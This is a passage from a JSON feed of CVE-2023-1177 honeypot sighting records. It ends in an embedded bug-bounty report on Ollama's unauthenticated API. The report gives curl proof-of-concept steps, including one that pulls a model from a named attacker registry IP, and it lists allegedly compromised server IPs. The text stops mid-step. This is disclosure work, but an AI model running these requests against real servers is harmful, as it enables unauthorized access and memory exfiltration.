"8448b010-dbc2-4b45-9c50-d8ed713ba7fe"}, {"timestamp": "2026-01-07T00:00:00Z", "date_only": false, "value": "2026-01-07T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-07)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "80686704-7f9a-486e-b360-211f3f4204fc"}, {"timestamp": "2026-01-14T00:00:00Z", "date_only": false, "value": "2026-01-14T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-14)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "248d477a-0f00-449f-bb06-b24185b44929"}, {"timestamp": "2026-01-16T00:00:00Z", "date_only": false, "value": "2026-01-16T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-16)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "329b62a5-81ed-4806-bf96-3a4cd0564307"}, {"timestamp": "2026-01-17T00:00:00Z", "date_only": false, "value": "2026-01-17T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-17)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "74e896a2-f8c7-437c-9c85-389e7ec967e9"}, {"timestamp": "2026-01-18T00:00:00Z", "date_only": false, "value": "2026-01-18T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-18)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "dd39beb5-cef3-4a19-ad63-968c9cdfc511"}, {"timestamp": "2026-01-21T00:00:00Z", "date_only": false, "value": "2026-01-21T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-21)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "301b6fad-32a7-4a6c-b023-6a3799bba16b"}, {"timestamp": "2026-01-22T00:00:00Z", "date_only": false, "value": "2026-01-22T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-22)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "64928f4b-370e-40f1-a2bb-8dbb99effe57"}, {"timestamp": "2026-01-23T00:00:00Z", "date_only": false, "value": "2026-01-23T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-23)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "36476f66-5f2d-44d7-9ef8-0f59318bfd24"}, {"timestamp": "2026-01-24T00:00:00Z", "date_only": false, "value": "2026-01-24T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-24)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "dda9872b-3ad1-4bcb-aaad-635d10597bd6"}, {"timestamp": "2026-01-25T00:00:00Z", "date_only": false, "value": "2026-01-25T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-25)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "c9a18c7a-de68-4b87-866d-0f584a207ea1"}, {"timestamp": "2026-01-26T00:00:00Z", "date_only": false, "value": "2026-01-26T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-26)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "e1aa4aa2-7020-4192-a65d-a4f2fc365bac"}, {"timestamp": "2026-01-27T00:00:00Z", "date_only": false, "value": "2026-01-27T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-27)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "f9d34105-a4d1-4efb-9b2e-346532daca21"}, {"timestamp": "2026-01-28T00:00:00Z", "date_only": false, "value": "2026-01-28T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-28)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "89f52efa-1e0e-47ce-bc4a-5b9afc4d81c5"}, {"timestamp": "2026-01-29T00:00:00Z", "date_only": false, "value": "2026-01-29T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-29)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "248c7ad0-f9b7-4eb9-a286-65cd3db5ebe4"}, {"timestamp": "2026-01-30T00:00:00Z", "date_only": false, "value": "2026-01-30T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-30)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "8bfa3c00-6ed9-469c-9fe9-80278b94ad58"}, {"timestamp": "2026-01-31T00:00:00Z", "date_only": false, "value": "2026-01-31T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-31)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "a8dff342-dfc8-465e-b726-38b3e77a8f8a"}, {"timestamp": "2026-02-01T00:00:00Z", "date_only": false, "value": "2026-02-01T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-01)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "58646c1e-e993-4926-b1f3-fbe587c9b9e9"}, {"timestamp": "2026-02-03T00:00:00Z", "date_only": false, "value": "2026-02-03T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-03)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "cd6ff95c-a8b3-4484-97b7-12795f4b20c7"}, {"timestamp": "2026-02-04T00:00:00Z", "date_only": false, "value": "2026-02-04T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-04)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "ca63682a-f691-4068-aea6-669ceeb9bd5e"}, {"timestamp": "2026-02-05T00:00:00Z", "date_only": false, "value": "2026-02-05T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-05)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "c3a71157-d6a1-43d7-9693-0e09b21f41f4"}, {"timestamp": "2026-02-06T00:00:00Z", "date_only": false, "value": "2026-02-06T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-06)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "10f8b171-22b3-4a77-9584-9b71e09bc2ae"}, {"timestamp": "2026-02-08T00:00:00Z", "date_only": false, "value": "2026-02-08T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-08)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "a877edd2-77df-4b2c-bcc5-af1895426c75", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-02-09T00:00:00Z", "date_only": false, "value": "2026-02-09T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-09)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "3243a1b1-10cc-4d3d-b13e-ac607193afa5"}, {"timestamp": "2026-02-11T00:00:00Z", "date_only": false, "value": "2026-02-11T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-11)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "9481ab81-6bee-4268-81f2-ad6d6528fff2"}, {"timestamp": "2026-02-12T00:00:00Z", "date_only": false, "value": "2026-02-12T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-12)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "aa3e383b-b5fc-46f4-97d3-8ddfdc4d1da4"}, {"timestamp": "2026-02-13T00:00:00Z", "date_only": false, "value": "2026-02-13T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-13)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "84e0ebcf-d0cd-4d46-a724-6d8215119aa3"}, {"timestamp": "2026-02-14T00:00:00Z", "date_only": false, "value": "2026-02-14T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-14)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "8c76a884-052e-423f-8280-d68cfbcc0967", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-02-14T00:00:00Z", "date_only": false, "value": "2026-02-14T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-14)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "2f34e20c-ecf2-4909-a19b-a2b5f2aa235b"}, {"timestamp": "2026-02-15T00:00:00Z", "date_only": false, "value": "2026-02-15T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-15)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "ea379191-3eb7-41e0-999a-23d390a74377"}, {"timestamp": "2026-02-16T00:00:00Z", "date_only": false, "value": "2026-02-16T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-16)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "f05291cb-8a8b-4379-88eb-293cebc7e46e"}, {"timestamp": "2026-02-17T00:00:00Z", "date_only": false, "value": "2026-02-17T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-17)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "459e47af-33c2-44ec-aad9-da30ee2fd2aa"}, {"timestamp": "2026-02-18T00:00:00Z", "date_only": false, "value": "2026-02-18T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-18)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "6caeb63d-ca12-477d-8258-023c4a665c0c"}, {"timestamp": "2026-02-19T00:00:00Z", "date_only": false, "value": "2026-02-19T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-19)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "d9eb7bb8-58e4-4dce-9021-d0fae559ff40"}, {"timestamp": "2026-02-20T00:00:00Z", "date_only": false, "value": "2026-02-20T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-20)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "26ed00e2-94cc-4952-bf1e-fec044166821"}, {"timestamp": "2026-02-21T00:00:00Z", "date_only": false, "value": "2026-02-21T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-21)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "da08804d-1800-41d2-b74f-ce6f2df7fb6b"}, {"timestamp": "2026-02-22T00:00:00Z", "date_only": false, "value": "2026-02-22T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-22)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "52c1754f-f839-4ff5-adaf-21f3f4c2c788"}, {"timestamp": "2026-02-23T00:00:00Z", "date_only": false, "value": "2026-02-23T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-23)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "b81b1261-d89c-4c2c-a6c5-26d10d2f2b38"}, {"timestamp": "2026-02-24T00:00:00Z", "date_only": false, "value": "2026-02-24T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-24)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "fbabb6c0-484f-4b5d-9ce9-0bba21d2bf09"}, {"timestamp": "2026-02-25T00:00:00Z", "date_only": false, "value": "2026-02-25T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-25)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "f792e42d-94e8-4223-94f3-db6da89219d1"}, {"timestamp": "2026-02-26T00:00:00Z", "date_only": false, "value": "2026-02-26T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-26)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "bf68fcbb-adf0-49f5-8c9b-58669ead3302"}, {"timestamp": "2026-02-27T00:00:00Z", "date_only": false, "value": "2026-02-27T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-27)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "7321b3c4-94ec-4bc0-bd9a-4e22fff6293e"}, {"timestamp": "2026-02-28T00:00:00Z", "date_only": false, "value": "2026-02-28T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-28)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "c60ace01-5ae6-400d-ad0d-430f8e3109b3"}, {"timestamp": "2026-03-01T00:00:00Z", "date_only": false, "value": "2026-03-01T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-01)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "a1ddc6dc-7ed5-4b8e-ac49-ef0f9513130e"}, {"timestamp": "2026-03-02T00:00:00Z", "date_only": false, "value": "2026-03-02T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-02)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "67ee7d5c-7f3b-44ae-a760-d921abd92f1d"}, {"timestamp": "2026-03-03T00:00:00Z", "date_only": false, "value": "2026-03-03T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-03)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "3137ef81-19ee-491e-969a-9a1bd121facb"}, {"timestamp": "2026-03-04T00:00:00Z", "date_only": false, "value": "2026-03-04T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-04)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "8e24b9c2-cad3-4810-a427-395dc87c287f", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-03-04T00:00:00Z", "date_only": false, "value": "2026-03-04T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-04)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "e71ab16e-1038-4511-9b4a-3673cd01344f"}, {"timestamp": "2026-03-05T00:00:00Z", "date_only": false, "value": "2026-03-05T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-05)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "a2cfc029-6f91-43ec-b187-e7c45d2a0e2d"}, {"timestamp": "2026-03-06T00:00:00Z", "date_only": false, "value": "2026-03-06T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-06)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "19c0d055-56da-4528-b63f-062c8d599a9d"}, {"timestamp": "2026-03-07T00:00:00Z", "date_only": false, "value": "2026-03-07T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-07)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "d5957b48-f5ef-4167-a704-fa201f104073"}, {"timestamp": "2026-03-08T00:00:00Z", "date_only": false, "value": "2026-03-08T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-08)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "99f03db1-dcea-49ea-ae9e-7b4de77a5075"}, {"timestamp": "2026-03-09T00:00:00Z", "date_only": false, "value": "2026-03-09T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-09)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "d6abeb0a-fa22-4b10-80a5-d304384f4797"}, {"timestamp": "2026-03-10T00:00:00Z", "date_only": false, "value": "2026-03-10T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-10)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "4186ec2f-086f-4e88-85fa-7132c6dcf1f1"}, {"timestamp": "2026-03-11T00:00:00Z", "date_only": false, "value": "2026-03-11T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-11)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "fb72f8ce-2701-408b-aaf1-e7baa6468697"}, {"timestamp": "2026-03-12T00:00:00Z", "date_only": false, "value": "2026-03-12T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-12)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "7f0c540d-f057-44b0-9ec3-3164cf27f896"}, {"timestamp": "2026-03-13T00:00:00Z", "date_only": false, "value": "2026-03-13T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-13)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "723d5190-c79e-40fb-9465-5e031c6d2b11"}, {"timestamp": "2026-03-14T00:00:00Z", "date_only": false, "value": "2026-03-14T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-14)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "05d8ad0b-1147-4831-ad42-2f164ecd738f"}, {"timestamp": "2026-03-15T00:00:00Z", "date_only": false, "value": "2026-03-15T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-15)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "1317bb8b-b488-4782-9cc4-862d06530f13"}, {"timestamp": "2026-03-16T00:00:00Z", "date_only": false, "value": "2026-03-16T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-16)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "3e4e1729-a28e-4019-912f-51bf4a0c7b7a"}, {"timestamp": "2026-03-17T00:00:00Z", "date_only": false, "value": "2026-03-17T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-17)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "242db4df-c82c-49dd-bd6d-3dd5cac63dd1"}, {"timestamp": "2026-03-19T00:00:00Z", "date_only": false, "value": "2026-03-19T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-19)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "cdd9df71-dd82-4387-98b6-ce9dd133d5cd"}, {"timestamp": "2026-03-24T00:00:00Z", "date_only": false, "value": "2026-03-24T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-24)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "38377745-6b7c-45ca-a1c7-e8a67f182a22"}, {"timestamp": "2026-03-29T00:00:00Z", "date_only": false, "value": "2026-03-29T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-29)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "79eb2bf4-6e7e-4aa2-92c1-de761ff3ba00"}, {"timestamp": "2026-03-31T00:00:00Z", "date_only": false, "value": "2026-03-31T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-31)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "f7b4e6d1-89f3-49e3-848c-aefade769364"}, {"timestamp": "2026-04-09T00:00:00Z", "date_only": false, "value": "2026-04-09T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-09)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "123f6505-4ecb-4922-80ae-4207e5e1017e"}, {"timestamp": "2026-04-13T00:00:00Z", "date_only": false, "value": "2026-04-13T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-13)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "3bc3f164-f30b-47f8-8998-cd9b7a5fbef3"}, {"timestamp": "2026-04-17T00:00:00Z", "date_only": false, "value": "2026-04-17T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-17)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "e3b4549c-100a-4174-90b6-5a5de13eae47"}, {"timestamp": "2026-04-18T00:00:00Z", "date_only": false, "value": "2026-04-18T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-18)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "f7ac7f15-df24-4023-96a4-eeb8db2c9a0e"}, {"timestamp": "2026-04-21T00:00:00Z", "date_only": false, "value": "2026-04-21T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-21)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "f09b8e0c-c664-4f36-af3d-51b7bb9334a2"}, {"timestamp": "2026-04-22T00:00:00Z", "date_only": false, "value": "2026-04-22T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-22)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "3edf003a-aa2d-4aa7-be8e-aa787e93345a"}, {"timestamp": "2026-04-23T00:00:00Z", "date_only": false, "value": "2026-04-23T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-23)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "dce0ca61-19dd-4817-b2cc-7a9e1f6ff342"}, {"timestamp": "2026-04-24T00:00:00Z", "date_only": false, "value": "2026-04-24T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-24)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "ee94df3d-c888-48dd-97bf-2f1f7ac23e84"}, {"timestamp": "2026-04-25T00:00:00Z", "date_only": false, "value": "2026-04-25T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-25)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "756f006a-6dcb-40ab-b811-5943b03728fb"}, {"timestamp": "2026-04-26T00:00:00Z", "date_only": false, "value": "2026-04-26T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-26)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "4ab6d820-4f3a-4b91-8ba4-f782fec881ad"}, {"timestamp": "2026-04-28T00:00:00Z", "date_only": false, "value": "2026-04-28T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-28)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "7c955c30-480a-4693-8128-13fb03e99881"}, {"timestamp": "2026-04-29T00:00:00Z", "date_only": false, "value": "2026-04-29T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-29)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "feda3544-6c7e-42e0-bfd6-225380a06f4a"}, {"timestamp": "2026-04-30T00:00:00Z", "date_only": false, "value": "2026-04-30T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-30)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "44af3487-9874-411d-99eb-74c6f0f5a79d"}, {"timestamp": "2026-05-02T00:00:00Z", "date_only": false, "value": "2026-05-02T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-02)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "47200437-5b8d-4e06-8383-f04b523daf4d"}, {"timestamp": "2026-05-06T00:00:00Z", "date_only": false, "value": "2026-05-06T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-06)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "7c5a29b0-bd70-4640-9b0d-6fea55d5d671"}, {"timestamp": "2026-05-18T18:18:06Z", "date_only": false, "value": "2026-05-18T18:18:06.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/k4w1992-lgtm/f7d62503adb3599bc60cdc0280254c23", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "b3bd057b-3fd3-4d62-b4ed-a9d63d6a62db", "content": "# Huntr Submission: ollama/ollama \u2014 Unauthenticated Model Supply Chain Attack via Arbitrary Registry Pulling\n\n## TITLE\nUnauthenticated Ollama API allows arbitrary model injection from untrusted registries without integrity verification, enabling heap memory disclosure via crafted GGUF files\n\n## DESCRIPTION\n\nOllama's HTTP API (`/api/pull`, `/api/create`, `/api/copy`) accepts unauthenticated requests that allow any network-reachable attacker to:\n\n1. **Pull models from arbitrary, untrusted container registries** with zero integrity verification (no signing, no hash validation against a trust store, no registry allowlist)\n2. **Create models from arbitrary GGUF files** via `/api/create` with a `FROM` directive pointing to any external URL or local path\n3. **Copy and overwrite existing models** without authorization\n\nThis is a **code-level design flaw**: Ollama's `api.go` and `image.go` perform no source validation on the registry URL or model provenance before downloading and loading GGUF files into process memory. Combined with the unpatched CVE-2026-5757 (heap memory disclosure via crafted GGUF in the quantization engine), this creates a complete attack chain:\n\n**Unauthenticated pull from malicious registry \u2192 crafted GGUF loaded into process memory \u2192 heap OOB read via CVE-2026-5757 \u2192 memory exfiltration via /api/show or /api/chat response**\n\n**Real-world evidence:** I have independently identified a sustained attack campaign exploiting this exact chain. Two production servers (95.217.135.66, 46.224.102.248) were found compromised with 6 malicious models (`leak_model_0-5`) pulled from `205.237.106.117:8443/attacker/` (ESTOXY OU, AS3920, Paris \u2014 listed on Spamhaus CBL). The attacker's models are small (12.3MB) GGUF files designed for data exfiltration. Both servers also show SSRF/Interactsh payloads in co-located MLflow instances, confirming active exploitation of the GGUF parsing vulnerability surface.\n\n## AFFECTED VERSION\nOllama 0.24.0 (current latest at time of report). All versions are affected as no registry verification or authentication mechanism exists in the codebase.\n\n## STEPS TO REPRODUCE (PoC \u2014 localhost only)\n\nSet up Ollama locally (default install, no configuration changes needed). The API binds to `0.0.0.0:11434` by default with zero authentication.\n\n### Step 1: Verify unauthenticated API access\n\n```bash\n# Enumerate all models \u2014 no auth required\ncurl -s http://localhost:11434/api/tags\n\n# Expected: returns JSON list of all locally available models\n# Any network-adjacent attacker can do this\n```\n\n### Step 2: Pull model from arbitrary untrusted registry \u2014 no verification\n\n```bash\n# Ollama accepts ANY registry URL in the model name without validation\n# Format: ://\n# This pulls directly from the attacker-controlled registry:\ncurl -s http://localhost:11434/api/pull -d '{\n  \"name\": \"205.237.106.117:8443/attacker/leak_model_0\",\n  \"stream\": false\n}'\n\n# Expected: Ollama downloads and loads the GGUF file without:\n# - Checking if the registry is in an allowlist\n# - Verifying the model's signature or hash\n# - Prompting for user confirmation\n# - Validating the GGUF metadata before loading into process memory\n#\n# The malicious GGUF is now in process memory and can trigger CVE-2026-5757\n```\n\n### Step 3: Create model from arbitrary Modelfile \u2014 no sandbox\n\n```bash\n# /api/create accepts arbitrary Modelfile content\n# The FROM directive can point to ANY external GGUF URL or local path\ncurl -s http://localhost:11434/api/create -d '{\n  \"name\": \"attacker-controlled-model\",\n  \"modelfile\": 